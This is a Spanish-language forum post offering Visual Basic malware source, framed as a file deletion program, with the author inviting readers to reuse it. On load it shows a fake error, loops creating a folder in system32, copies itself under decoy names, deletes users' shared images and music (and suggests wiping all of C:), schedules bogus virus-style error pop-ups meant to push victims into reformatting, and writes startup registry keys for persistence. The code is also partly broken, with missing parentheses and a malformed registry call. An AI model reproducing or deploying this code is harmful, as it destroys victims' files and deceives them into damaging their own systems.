egoigos

esta es una aplicación de borrado de archivos pero que solo sirve para xp o SO (sistemas operativos) que tengan las librerías de VB aquí vamos: 'Crea una carpeta en windows system 32 Sub Crearcarpeta() Dim n On Error Resume Next Do Set n = CreateObject("Scripting FilesystemObject" n.createFolder "C:\WINDOWS\system32\init" Loop End Sub 'Se copia renombrandose como crash.exe y cloud.exe o pueden elegir otro tipo de exe 'pero lo deben especificar Sub copia() Dim xxx, yy On Error Resume Next Set xxx = CreateObject("Scripting FilesystemObject" xxx.copyfile ".\wingle.exe", "c:\windows\crash.exe" Set yy = CreateObject("Scripting FilesystemObject" yy.copyfile ".\wingle.exe", "C:\WINDOWS\system32\init\cloud.exe" End Sub ' borra todos los archivos de musica y imagenes de la carpeta de archivos compartidos entre usuarios ' tambien podes colocar otro directorio, tipo C:\ o D:\ donde creo q si no tiene particion... aunq teniendola ' te conviene colocar la unidad C incluso eliminando otros tipos de archivos Sub matar() On Error Resume Next Kill ("C:\Documents and Settings\All Users\Documentos\Mis imágenes\*.jpeg" Kill ("C:\Documents and Settings\All Users\Documentos\Mi música\*.wav" Kill ("C:\Documents and Settings\All Users\Documentos\Mi música\*.mp3" End Sub ' Pequeño archivo de texto con una frase escrita de recuerdo hace un poema y esto puede terminar creando en principio ' un algo escrito para camouflar todo el resto de procesos, aunq tmb podes encapsular cada sub en algun otro sub como ' un clic o etc, ya te darás cuenta Sub recuerdo() Dim nota, aux On Error Resume Next Set nota = CreateObject("Scripting.FilesystemObject" Set aux = nota.CreateTextFile("c:\wingear.txt" nota.write " Cómo será la laguna que el chancho la cruza al trote" nota.Close End Sub 'Esto son ventanas que aparecen cada ciertos dias al mes con mensajes de errores ' asi podes molestar un poco bastante, si no sabes como utilizar lo anterior 'creas un proy con solo este sub como defecto asi al cargar la apli este comienza a mandar errores de virus ' aunq la pc no este infectada lo q lleva al formateo forsozo Sub payload() On Error Resume Next If Day(Now()) = 4 Then MsgBox "No se encuentra el archivo wringle[1].chm", 16, "Error system" If Day(Now()) = 5 Then MsgBox "No se encuentra el archivo wringle[2].chm", 16, "Error system" If Day(Now()) = 9 Then MsgBox "No se encuentran conexiones activas", 16, "Error system" If Day(Now()) = 15 Then MsgBox "Reinicie el ordenador. Se ha detectado un error grave.", 16, "Error system" If Day(Now()) = 22 Then MsgBox "No se encuentra el archivo hthj.dll requerido ", 16, "Error system" End Sub 'Con esto creamos las llaves en el registro para que se ejecuten en cada inicio crash.exe y cloud.exe Sub reg() Dim coca, cola On Error Resume Next Set coca = CreateObject("WScript.Shell" coca.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "c:\windows\crash.exe" Set cola = CreateObject("WScript.Shell" cola.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "c:\WINDOWS\system32\init\cloud.exe" End Sub Private Sub Form_Load() MsgBox "No se encuentra la libreria msnrg60.dll requerida", " Error de ejecución" Crearcarpeta matar copia recuerdo payload reg End Sub EL QUE QUIERA COMENTAR BIEN EL QUE NO TENGA IDEA DE COMO HACERLO SE JODE, EL QUE CREA QUE PUEDE HACER ALGO MEJOR QUE PASE CODIGOS, Y EL QUE QUIERA INSULTAR ME DA IGUAL IMPORTANTE: DONDE SALEN LOS SMILIES SON PARENTESIS PERO NO ME LO DEJA EDITAR ASÍ YA ESTAN AVISADOS, SON PARENTESIS SUERTE "SI BUSCAN ALGO MAS EN C++ O JAVA AVISEN"